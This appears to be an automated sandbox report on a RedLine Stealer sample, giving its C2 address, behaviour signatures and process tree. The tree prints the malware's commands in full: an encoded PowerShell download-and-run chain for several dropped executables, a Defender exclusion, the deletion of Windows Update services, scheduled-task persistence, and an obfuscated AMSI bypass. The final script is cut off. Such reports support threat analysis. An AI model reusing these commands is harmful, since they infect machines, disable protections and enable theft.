Analysis

  • max time kernel
    47s
  • max time network
    79s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/01/2023, 13:34

General

  • Target
    4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
  • Size 196KB
  • Sample230106-qvhedsgf83
  • SHA256 d9019aa8a43c692e6aea363a4854981ce8f5181fe33e7cfa5acd7deb72ba7b25
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:684
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      1⤵
        PID:408
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
          PID:2640
          • C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
            "C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:5040
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
              3⤵
                PID:652
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                3⤵
                  PID:4572
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                  3⤵
                    PID:952
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1088
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
                      4⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2416
                      • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                        5⤵
                        • Executes dropped EXE
                        PID:572
                      • C:\Users\Admin\AppData\Local\Temp\new2.exe
                        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:4724
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                          6⤵
                            PID:4136
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 488
                            6⤵
                            • Program crash
                            PID:4512
                        • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                          "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                          5⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1296
                        • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                          "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                          5⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Drops file in Program Files directory
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:1868
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 264
                      3⤵
                      • Program crash
                      PID:3460
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3808
                  • C:\Windows\System32\cmd.exe
                    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3500
                    • C:\Windows\System32\sc.exe
                      sc stop UsoSvc
                      3⤵
                      • Launches sc.exe
                      PID:4700
                    • C:\Windows\System32\sc.exe
                      sc stop WaaSMedicSvc
                      3⤵
                      • Launches sc.exe
                      PID:4784
                    • C:\Windows\System32\sc.exe
                      sc stop wuauserv
                      3⤵
                      • Launches sc.exe
                      PID:1836
                    • C:\Windows\System32\sc.exe
                      sc stop bits
                      3⤵
                      • Launches sc.exe
                      PID:3024
                    • C:\Windows\System32\sc.exe
                      sc stop dosvc
                      3⤵
                      • Launches sc.exe
                      PID:3196
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                      3⤵
                        PID:4956
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                        3⤵
                          PID:4568
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                          3⤵
                          • Modifies security service
                          PID:648
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                          3⤵
                            PID:1036
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                            3⤵
                              PID:5088
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4272
                          • C:\Windows\System32\dialer.exe
                            C:\Windows\System32\dialer.exe
                            2⤵
                              PID:372
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                            1⤵
                              PID:388
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                              1⤵
                                PID:960
                              • C:\Windows\system32\winlogon.exe
                                winlogon.exe
                                1⤵
                                  PID:620
                                  • C:\Windows\System32\dllhost.exe
                                    C:\Windows\System32\dllhost.exe /Processid:{1bbf9dde-f855-4687-8d7b-4505ab2c9f25}
                                    2⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:1492
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 5040 -ip 5040
                                  1⤵
                                    PID:2404
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                                    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:QFMifZttGFxu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rIOQGXeODBdazm,[Parameter(Position=1)][Type]$fsRpbnrGpO)$kSmFkTeBiBV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+'ul'+'e'+'',$False).DefineType('My'+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+'y'+'pe',''+[Char](67)+''+'l'+''+'a'+'ss,'+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'l'+[Char](101)+'d,'+'A'+'ns'+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oCl'+[Char](97)+'ss',[MulticastDelegate]);$kSmFkTeBiBV.DefineConstructor('RT'+[Char](83)+'p'+[Char](101)+'c'+[Char](105)+''+[Char](97)+'lNam'+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+'y'+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$rIOQGXeODBdazm).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');$kSmFkTeBiBV.DefineMethod(''+[Char](73)+''+'n'+'v'+'o'+'k'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+'l',$fsRpbnrGpO,$rIOQGXeODBdazm).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $kSmFkTeBiBV.CreateType();}$BpiorubYgqdvK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+'os'+[Char](111)+'f'+'t'+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+'a'+''+[Char](102)+'e'+[Char](66)+''+[Char](112)+''+[Char](105)+'o'+[Char](114)+''+'u'+''+[Char](98)+''+[Char](89)+''+[Char](103)+''+[Char](113)+''+[Char](100)+''+'v'+''+[Char](75)+'');$ITcsuYlyehMOMK=$BpiorubYgqdvK.GetMethod(''+[Char](73)+''+[Char](84)+'cs'+'u'+''+[Char](89)+'lye'+[Char](104)+''+[Char](77)+''+[Char](79)+'MK',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RGEoNlkcyilmiRsdgQK=QFMifZttGFxu @([String])([IntPtr]);$EwJFAMdQDLvXMasIhbCezP=QFMifZttGFxu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bTSKXTohMQr=$BpiorubYgqdvK.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$kpfsfkesGhFjcq=$ITcsuYlyehMOMK.Invoke($Null,@([Object]$bTSKXTohMQr,[Object]('L'+[Char](111)+'a'+'d'+''+'L'+''+[Char](105)+'b'+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$aHcxCciWDoPbkNHhy=$ITcsuYlyehMOMK.Invoke($Null,@([Object]$bTSKXTohMQr,[Object](''+[Char](86)+'i'+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+'t'+'')));$CYTzGwe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kpfsfkesGhFjcq,$RGEoNlkcyilmiRsdgQK).Invoke('ams'+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+'l'+'');$sCYhomYZuyBpubIVM=$ITcsuYlyehMOMK.Invoke($Null,@([Object]$CYTzGwe,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+'c'+'a'+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$SBjpqfHyIi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aHcxCciWDoPbkNHhy,$EwJFAMdQDLvXMasIhbCezP).Invoke($sCYhomYZuyBpubIVM,[uint32]8,4,[ref]$SBjpqfHyIi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$sCYhomYZuyBpubIVM,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aHcxCciWDoPbkNHhy,$EwJFAMdQDLvXMasIhbCezP).Invoke($sCYhomYZuyBpubIVM,[uint32]8,0x20,[ref]$SBjpqfHyIi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+'a'+[Char](108)+'er'+'s'+'t'+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
                                    1⤵
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1504
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wHMQCVJEWSSS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$yxQbMcWLXRsaXX,[Parameter(Position=1)][Type]$EgFsRInjXv)$yUYtxEqXZas=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+'a'+''+[Char](116)+'eT'+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+'P'+''+'u'+'bl'+[Char](105)+''+'c'+''+','+''+'S'+''+'e'+'a'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'o'+'C'+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$yUYtxEqXZas.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+'e'+'c'+[Char](105)+''+'a'+''+[Char](108)+'Nam'+[Char](101)+''+','+'H'+'i'+''+[Char](100)+''+'e'+''+[Char](66)+'y'+'S'+''+[Char](105)+'g'+','+'P'+'u'+''+'b'+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$yxQbMcWLXRsaXX).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$yUYtxEqXZas.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+','+''+'H'+'i'+[Char](100)+''+[Char](101)+'By'+'S'+''+'i'+''+[Char](103)+','+[Char](78)+''+'e'+'w'+'S'+''+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$EgFsRInjXv,$yxQbMcWLXRsaXX).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $yUYtxEqXZas.CreateType();}$PiZWQLMOcksXO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+'nsa'+'f'+'e'+'P'+''+'i'+''+'Z'+''+[Char](87)+''+[Char](81)+''+[Char](76)+''+[Char](77)+''+'O'+''+[Char](99)+''+'k'+''+[Char](115)+''+'X'+'O');$NqzNTogrXSIprX=$PiZWQLMOcksXO.GetMethod(''+[Char](78)+''+[Char](113)+'z'+[Char](78)+''+'T'+''+[Char](111)+''+[Char](103)+''+'r'+''+'X'+''+[Char](83)+''+'I'+'p'+'r'+''+[Char](88)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lOMDStyQjIHfjesGLGd=wHMQCVJEWSSS @([String])([IntPtr]);$sXmxzmebqgMkngUfRkNGBo=wHMQCVJEWSSS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AsFAPcTUtiS=$PiZWQLMOcksXO.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'ll')));$qOtVvBvqIUSrGF=$NqzNTogrXSIprX.Invoke($Null,@([Object]$AsFAPcTUtiS,[Object](''+[Char](76)+''+[Char](111)+'ad'+[Char](76)+'i'+'b'+''+[Char](114)+'ar'+[Char](121)+''+[Char](65)+'')));$CPLhyfCebgRFqUeCN=$NqzNTogrXSIprX.Invoke($Null,@([Object]$AsFAPcTUtiS,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$pPjqyjb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qOtVvBvqIUSrGF,$lOMDStyQjIHfjesGLGd).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+'.'+''+'d'+'l'+'l'+'');$VmpkfZozmETwzCAQZ=$NqzNTogrXSIprX.Invoke($Null,@([Object]$pPjqyjb,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$VLZJAQDCGH=0;[Runtime